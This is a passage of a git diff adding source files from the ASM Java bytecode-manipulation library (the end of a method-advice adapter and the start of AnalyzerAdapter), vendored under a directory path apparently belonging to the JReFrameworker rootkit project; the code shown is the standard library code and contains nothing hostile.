if (longOrDouble) { + popValue(); + } + break; + case PUTFIELD: + popValue(); + popValue(); + if (longOrDouble) { + popValue(); + } + break; + case GETFIELD: + if (longOrDouble) { + pushValue(OTHER); + } + break; + default: + throw new IllegalArgumentException(INVALID_OPCODE + opcode); + } + } + } + + @Override + public void visitIntInsn(final int opcode, final int operand) { + super.visitIntInsn(opcode, operand); + if (isConstructor && !superClassConstructorCalled && opcode != NEWARRAY) { + pushValue(OTHER); + } + } + + @Override + public void visitLdcInsn(final Object value) { + super.visitLdcInsn(value); + if (isConstructor && !superClassConstructorCalled) { + pushValue(OTHER); + if (value instanceof Double + || value instanceof Long + || (value instanceof ConstantDynamic && ((ConstantDynamic) value).getSize() == 2)) { + pushValue(OTHER); + } + } + } + + @Override + public void visitMultiANewArrayInsn(final String descriptor, final int numDimensions) { + super.visitMultiANewArrayInsn(descriptor, numDimensions); + if (isConstructor && !superClassConstructorCalled) { + for (int i = 0; i < numDimensions; i++) { + popValue(); + } + pushValue(OTHER); + } + } + + @Override + public void visitTypeInsn(final int opcode, final String type) { + super.visitTypeInsn(opcode, type); + // ANEWARRAY, CHECKCAST or INSTANCEOF don't change stack. + if (isConstructor && !superClassConstructorCalled && opcode == NEW) { + pushValue(OTHER); + } + } + + /** + * Deprecated. + * + * @deprecated use {@link #visitMethodInsn(int, String, String, String, boolean)} instead. + */ + @Deprecated + @Override + public void visitMethodInsn( + final int opcode, final String owner, final String name, final String descriptor) { + if (api >= Opcodes.ASM5) { + super.visitMethodInsn(opcode, owner, name, descriptor); + return; + } + mv.visitMethodInsn(opcode, owner, name, descriptor, opcode == Opcodes.INVOKEINTERFACE); + doVisitMethodInsn(opcode, descriptor); + } + + @Override + public void visitMethodInsn( + final int opcode, + final String owner, + final String name, + final String descriptor, + final boolean isInterface) { + if (api < Opcodes.ASM5) { + super.visitMethodInsn(opcode, owner, name, descriptor, isInterface); + return; + } + mv.visitMethodInsn(opcode, owner, name, descriptor, isInterface); + doVisitMethodInsn(opcode, descriptor); + } + + private void doVisitMethodInsn(final int opcode, final String descriptor) { + if (isConstructor && !superClassConstructorCalled) { + for (Type argumentType : Type.getArgumentTypes(descriptor)) { + popValue(); + if (argumentType.getSize() == 2) { + popValue(); + } + } + switch (opcode) { + case INVOKEINTERFACE: + case INVOKEVIRTUAL: + popValue(); + break; + case INVOKESPECIAL: + Object value = popValue(); + if (value == UNINITIALIZED_THIS && !superClassConstructorCalled) { + superClassConstructorCalled = true; + onMethodEnter(); + } + break; + default: + break; + } + + Type returnType = Type.getReturnType(descriptor); + if (returnType != Type.VOID_TYPE) { + pushValue(OTHER); + if (returnType.getSize() == 2) { + pushValue(OTHER); + } + } + } + } + + @Override + public void visitInvokeDynamicInsn( + final String name, + final String descriptor, + final Handle bootstrapMethodHandle, + final Object... bootstrapMethodArguments) { + super.visitInvokeDynamicInsn(name, descriptor, bootstrapMethodHandle, bootstrapMethodArguments); + doVisitMethodInsn(Opcodes.INVOKEDYNAMIC, descriptor); + } + + @Override + public void visitJumpInsn(final int opcode, final Label label) { + super.visitJumpInsn(opcode, label); + if (isConstructor && !superClassConstructorCalled) { + switch (opcode) { + case IFEQ: + case IFNE: + case IFLT: + case IFGE: + case IFGT: + case IFLE: + case IFNULL: + case IFNONNULL: + popValue(); + break; + case IF_ICMPEQ: + case IF_ICMPNE: + case IF_ICMPLT: + case IF_ICMPGE: + case IF_ICMPGT: + case IF_ICMPLE: + case IF_ACMPEQ: + case IF_ACMPNE: + popValue(); + popValue(); + break; + case JSR: + pushValue(OTHER); + break; + default: + break; + } + addForwardJump(label); + } + } + + @Override + public void visitLookupSwitchInsn(final Label dflt, final int[] keys, final Label[] labels) { + super.visitLookupSwitchInsn(dflt, keys, labels); + if (isConstructor && !superClassConstructorCalled) { + popValue(); + addForwardJumps(dflt, labels); + } + } + + @Override + public void visitTableSwitchInsn( + final int min, final int max, final Label dflt, final Label... labels) { + super.visitTableSwitchInsn(min, max, dflt, labels); + if (isConstructor && !superClassConstructorCalled) { + popValue(); + addForwardJumps(dflt, labels); + } + } + + @Override + public void visitTryCatchBlock( + final Label start, final Label end, final Label handler, final String type) { + super.visitTryCatchBlock(start, end, handler, type); + // By definition of 'forwardJumpStackFrames', 'handler' should be pushed only if there is an + // instruction between 'start' and 'end' at which the super class constructor is not yet + // called. Unfortunately, try catch blocks must be visited before their labels, so we have no + // way to know this at this point. Instead, we suppose that the super class constructor has not + // been called at the start of *any* exception handler. If this is wrong, normally there should + // not be a second super class constructor call in the exception handler (an object can't be + // initialized twice), so this is not issue (in the sense that there is no risk to emit a wrong + // 'onMethodEnter'). + if (isConstructor && !forwardJumpStackFrames.containsKey(handler)) { + List handlerStackFrame = new ArrayList(); + handlerStackFrame.add(OTHER); + forwardJumpStackFrames.put(handler, handlerStackFrame); + } + } + + private void addForwardJumps(final Label dflt, final Label[] labels) { + addForwardJump(dflt); + for (Label label : labels) { + addForwardJump(label); + } + } + + private void addForwardJump(final Label label) { + if (forwardJumpStackFrames.containsKey(label)) { + return; + } + forwardJumpStackFrames.put(label, new ArrayList(stackFrame)); + } + + private Object popValue() { + return stackFrame.remove(stackFrame.size() - 1); + } + + private Object peekValue() { + return stackFrame.get(stackFrame.size() - 1); + } + + private void pushValue(final Object value) { + stackFrame.add(value); + } + + /** + * Generates the "before" advice for the visited method. The default implementation of this method + * does nothing. Subclasses can use or change all the local variables, but should not change state + * of the stack. This method is called at the beginning of the method or after super class + * constructor has been called (in constructors). + */ + protected void onMethodEnter() {} + + /** + * Generates the "after" advice for the visited method. The default implementation of this method + * does nothing. Subclasses can use or change all the local variables, but should not change state + * of the stack. This method is called at the end of the method, just before return and athrow + * instructions. The top element on the stack contains the return value or the exception instance. + * For example: + * + *
+   * public void onMethodExit(final int opcode) {
+   *   if (opcode == RETURN) {
+   *     visitInsn(ACONST_NULL);
+   *   } else if (opcode == ARETURN || opcode == ATHROW) {
+   *     dup();
+   *   } else {
+   *     if (opcode == LRETURN || opcode == DRETURN) {
+   *       dup2();
+   *     } else {
+   *       dup();
+   *     }
+   *     box(Type.getReturnType(this.methodDesc));
+   *   }
+   *   visitIntInsn(SIPUSH, opcode);
+   *   visitMethodInsn(INVOKESTATIC, owner, "onExit", "(Ljava/lang/Object;I)V");
+   * }
+   *
+   * // An actual call back method.
+   * public static void onExit(final Object exitValue, final int opcode) {
+   *   ...
+   * }
+   * 
+ * + * @param opcode one of {@link Opcodes#RETURN}, {@link Opcodes#IRETURN}, {@link Opcodes#FRETURN}, + * {@link Opcodes#ARETURN}, {@link Opcodes#LRETURN}, {@link Opcodes#DRETURN} or {@link + * Opcodes#ATHROW}. + */ + protected void onMethodExit(final int opcode) {} +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/commons/AnalyzerAdapter.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/commons/AnalyzerAdapter.java new file mode 100644 index 0000000..95b4621 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/commons/AnalyzerAdapter.java @@ -0,0 +1,937 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. +package org.objectweb.asm.commons; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import org.objectweb.asm.ConstantDynamic; +import org.objectweb.asm.Handle; +import org.objectweb.asm.Label; +import org.objectweb.asm.MethodVisitor; +import org.objectweb.asm.Opcodes; +import org.objectweb.asm.Type; + +/** + * A {@link MethodVisitor} that keeps track of stack map frame changes between {@link + * #visitFrame(int, int, Object[], int, Object[])} calls. This adapter must be used with the {@link + * org.objectweb.asm.ClassReader#EXPAND_FRAMES} option. Each visitX instruction delegates to + * the next visitor in the chain, if any, and then simulates the effect of this instruction on the + * stack map frame, represented by {@link #locals} and {@link #stack}. The next visitor in the chain + * can get the state of the stack map frame before each instruction by reading the value of + * these fields in its visitX methods (this requires a reference to the AnalyzerAdapter that + * is before it in the chain). If this adapter is used with a class that does not contain stack map + * table attributes (i.e., pre Java 6 classes) then this adapter may not be able to compute the + * stack map frame for each instruction. In this case no exception is thrown but the {@link #locals} + * and {@link #stack} fields will be null for these instructions. + * + * @author Eric Bruneton + */ +public class AnalyzerAdapter extends MethodVisitor { + + /** + * The local variable slots for the current execution frame. Primitive types are represented by + * {@link Opcodes#TOP}, {@link Opcodes#INTEGER}, {@link Opcodes#FLOAT}, {@link Opcodes#LONG}, + * {@link Opcodes#DOUBLE},{@link Opcodes#NULL} or {@link Opcodes#UNINITIALIZED_THIS} (long and + * double are represented by two elements, the second one being TOP). Reference types are + * represented by String objects (representing internal names), and uninitialized types by Label + * objects (this label designates the NEW instruction that created this uninitialized value). This + * field is {@literal null} for unreachable instructions. + */ + public List locals; + + /** + * The operand stack slots for the current execution frame. Primitive types are represented by + * {@link Opcodes#TOP}, {@link Opcodes#INTEGER}, {@link Opcodes#FLOAT}, {@link Opcodes#LONG}, + * {@link Opcodes#DOUBLE},{@link Opcodes#NULL} or {@link Opcodes#UNINITIALIZED_THIS} (long and + * double are represented by two elements, the second one being TOP). Reference types are + * represented by String objects (representing internal names), and uninitialized types by Label + * objects (this label designates the NEW instruction that created this uninitialized value). This + * field is {@literal null} for unreachable instructions. + */ + public List stack; + + /** The labels that designate the next instruction to be visited. May be {@literal null}. */ + private List